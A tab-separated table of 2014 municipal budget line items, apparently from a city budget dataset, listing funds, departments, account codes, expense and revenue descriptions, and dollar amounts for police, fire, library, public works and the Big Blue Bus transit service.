13005	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	75931.0	0	0	0	0	0	0.0	0	0	0	0	0.0	75931.0
13006	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300.0
13007	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	28700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28700.0
13008	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	20551.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20551.0
13009	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2014	100268.0	0	0	0	0	5684	4056.0	0	0	0	0	0.0	110008.0
13010	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	38160.0	0	0	0	0	3260	0.0	0	0	0	0	0.0	41420.0
13011	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	18450.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18450.0
13012	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	114000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	114000.0
13013	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2014	637.0	0	0	0	0	0	0.0	0	0	0	0	0.0	637.0
13014	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	102.0
13015	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2014	13275.0	0	0	0	1800	0	0.0	0	0	0	0	0.0	15075.0
13016	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	10455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10455.0
13017	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	16600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16600.0
13018	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1825.0	0	0	0	525	0	0.0	0	0	0	0	0.0	2350.0
13019	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522920.0	VEHICLES - REPAIRS	806.0	 Supplies and Expenses	2014	10455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10455.0
13020	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	34423.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34423.0
13021	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	77268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77268.0
13022	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2014	77481.0	0	0	0	0	0	0.0	0	0	0	0	0.0	77481.0
13023	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511490.0	OVERTIME	806.0	Salaries and Wages	2014	4374800.0	0	0	0	0	0	424543.0	0	0	0	0	0.0	4799343.0
13024	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	4182.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4182.0
13025	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2014	222123.0	0	0	0	0	0	0.0	0	0	0	0	0.0	222123.0
13026	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555011.0	OUTSIDE REPAIRS - BUSES		 Supplies and Expenses	2014	1320344.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1320344.0
13027	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555012.0	OUTSIDE REPAIRS - SERVICE VEHC		 Supplies and Expenses	2014	40898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40898.0
13028	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13029	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2014	2500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500000.0
13030	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522624.0	JOINT FACILITIES RENT		 Supplies and Expenses	2014	30750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30750.0
13031	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	15586535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15586535.0
13032	B1	IS	1	General Fund	310	FIRE	315	TRAINING	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	8364.0	0	0	0	0	0	5263.0	0	0	0	0	0.0	13627.0
13033	B1	IS	1	General Fund	310	FIRE	315	TRAINING	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2014	2614.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2614.0
13034	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2014	101000.0	0	0	0	0	0	1912.0	0	0	0	0	0.0	102912.0
13035	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401220.0	REC-PARK BUILDING RENTAL	618.0	Rentals	2014	-153371.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-153371.0
13036	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522620.0	RENT	816.0	 Supplies and Expenses	2014	257696.0	0	0	0	0	0	0.0	0	0	0	0	0.0	257696.0
13037	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	4940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4940.0
13038	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522500.0	BOARDS AND COMMISSIONS	812.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
13039	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522910.0	VEHICLES - FUELS / LUBRICATION	812.0	 Supplies and Expenses	2014	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
13040	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2014	140300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140300.0
13041	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	44000.0	0	0	0	0	0.0	44000.0
13042	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1995.0
13043	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	27265.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27265.0
13044	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544170.0	UNIF/PROTECIVE CLOTHING	812.0	 Supplies and Expenses	2014	6200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6200.0
13045	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	107595.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107595.0
13046	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	794268.0	0	0	0	0	8060	0.0	0	0	0	0	0.0	802328.0
13047	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	3075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3075.0
13048	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	2146.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2146.0
13049	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	25.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25.0
13050	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	3024671.0	0	0	0	0	42752	-17.0	0	0	0	0	0.0	3067406.0
13051	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	305.0
13052	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	16832.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16832.0
13053	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	20899.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20899.0
13054	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	39900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39900.0
13055	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522920.0	VEHICLES - REPAIRS	808.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13056	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	21162.5	0	0	0	0	0	0.0	0	0	0	0	0.0	21162.5
13057	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2014	36100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36100.0
13058	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2014	91540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	91540.0
13059	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511490.0	OVERTIME	840.0	Salaries and Wages	2014	37385.0	0	0	0	0	0	306.0	0	0	0	0	0.0	37691.0
13060	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2014	119224.45	0	0	0	0	0	0.0	0	0	0	0	0.0	119224.45
13061	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2014	52294.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52294.0
13062	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2014	139396.0	0	0	0	0	0	1568.0	0	0	0	0	0.0	140964.0
13063	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2014	32737.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32737.0
13064	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2014	1042787.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1042787.0
13065	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	566060.0	INTEREST EXPENSE	866.0	 Supplies and Expenses	2014	6000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6000.0
13066	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	588030.0	COMPUTER EQUIPMENT		 Supplies and Expenses	2014	6898.39	0	0	0	0	0	0.0	0	0	0	0	0.0	6898.39
13067	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-20000.0
13068	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2014	-146646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-146646.0
13069	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	908.0	 Supplies and Expenses	2014	-113192.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-113192.0
13070	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	910.0	 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13071	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FD REIMBURSEMENT FROM PIER		 Supplies and Expenses	2014	192038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	192038.0
13072	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522320.0	METERED POSTAGE		 Supplies and Expenses	2014	5646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5646.0
13073	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2014	6300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6300000.0
13074	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555060.0	PROFESSIONAL SERVICES	864.0	 Supplies and Expenses	2014	62150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62150.0
13075	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405550.0	DOMESTIC PARTNERSHIP FLNG FEE	612.0	Charges for Service	2014	-175.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-175.0
13076	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401360.0	GEN PROM BUS LICENSE MAIN ST.	622.0	Other	2014	-6100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6100.0
13077	B1	IS	1	General Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404810.0	REFUSE BINS - STORAGE FEES	612.0	Charges for Service	2014	-67400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-67400.0
13078	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	9675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9675.0
13079	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	5140.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5140.0
13080	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	46002.0	0	0	0	0	0	0.0	0	0	0	0	0.0	46002.0
13081	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577220.0	INTEREST EXPENSE - BONDS		 Supplies and Expenses	2014	266550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	266550.0
13082	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577230.0	FISCAL AGENT FEES		 Supplies and Expenses	2014	5250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5250.0
13083	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT-WISE		 Supplies and Expenses	2014	-614000.0	0	0	14000	0	0	0.0	0	0	0	0	0.0	-600000.0
13084	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	278238.0	0	0	0	0	0	0.0	0	0	0	0	0.0	278238.0
13085	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES	808.0	 Supplies and Expenses	2014	400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400.0
13086	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	8766.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8766.0
13087	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	1777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1777.0
13088	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	10346.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10346.0
13089	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567010.0	PUBLIC SAFETY BONDS	910.0	 Supplies and Expenses	2014	965750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	965750.0
13090	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2014	2091.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2091.0
13091	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566970.0	FINGERPRINTING	806.0	 Supplies and Expenses	2014	90200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	90200.0
13092	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2014	5100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5100.0
13093	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511730.0	WORKERS' COMP INSURANCE	820.0	Salaries and Wages	2014	0.0	0	0	0	0	0	3870000.0	0	0	0	0	0.0	3870000.0
13094	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566631.0	SMURRF PLANT MAINTENANCE		 Supplies and Expenses	2014	484621.66	0	0	0	0	0	0.0	0	0	0	0	0.0	484621.66
13095	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	41000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41000.0
13096	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	4502.0	0	0	0	0	0	131.0	0	0	0	0	0.0	4633.0
13097	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2014	58041.0	0	0	0	0	0	0.0	0	0	0	0	0.0	58041.0
13098	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13099	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	941.0	0	0	0	0	0	0.0	0	0	0	0	0.0	941.0
13100	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13101	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	3535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3535.0
13102	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555061.0	OUTSIDE AUDIT EXPENSES		 Supplies and Expenses	2014	15375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15375.0
13103	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544115.0	FARE MEDIA		 Supplies and Expenses	2014	56000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56000.0
13104	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2014	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
13105	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	9020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9020.0
13106	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402060.0	STA SALES TAX -OPERATING	658.0	Sales Tax	2014	-2425957.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2425957.0
13107	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404280.0	PROP A LOCAL RETURN	658.0	Sales Tax	2014	-398542.0	0	0	-980000	0	0	0.0	0	0	0	0	0.0	-1378542.0
13108	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404820.0	PROP A SALES TAX	658.0	Sales Tax	2014	-12229633.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12229633.0
13109	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE	910.0	 Supplies and Expenses	2014	99493.0	0	0	0	0	0	0.0	0	0	0	0	0.0	99493.0
13110	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522318.0	SAFETY & SERVICE AWARDS		 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13111	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		PRINTING - GENERAL		 Supplies and Expenses	2014	150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	150000.0
13112	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		PRINTING - GENERAL		 Supplies and Expenses	2014	17000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17000.0
13113	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407516.0	FED CAPITAL GR-REV EQUIP	657.0	Capital Grants	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-9907539.0	-9907539.0
13114	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2014	-3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3500.0
13115	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400400.0	FIELD CONCESSION & STORAGE	612.0	Charges for Service	2014	-18631.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18631.0
13116	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407560.0	SPECIAL INSPECTION FEES	612.0	Charges for Service	2014	-13000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-13000.0
13117	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555021.0	DETECTION & ALARM SYSTEMS		 Supplies and Expenses	2014	3375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3375.0
13118	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	12356.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12356.0
13119	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	5272.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5272.0
13120	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	3487.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3487.0
13121	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	540.0
13122	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	16085.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16085.0
13123	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	29232.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29232.0
13124	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533660.0	CONF / MTGS / TRAVEL-SH	804.0	 Supplies and Expenses	2014	4165.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4165.0
13125	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2014	18143.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18143.0
13126	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	646.0	0	0	0	0	0	0.0	0	0	0	0	0.0	646.0
13127	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		SAFETY EXPENSES		 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13128	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400681.0	EMS REVENUE	612.0	Charges for Service	2014	-889179.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-889179.0
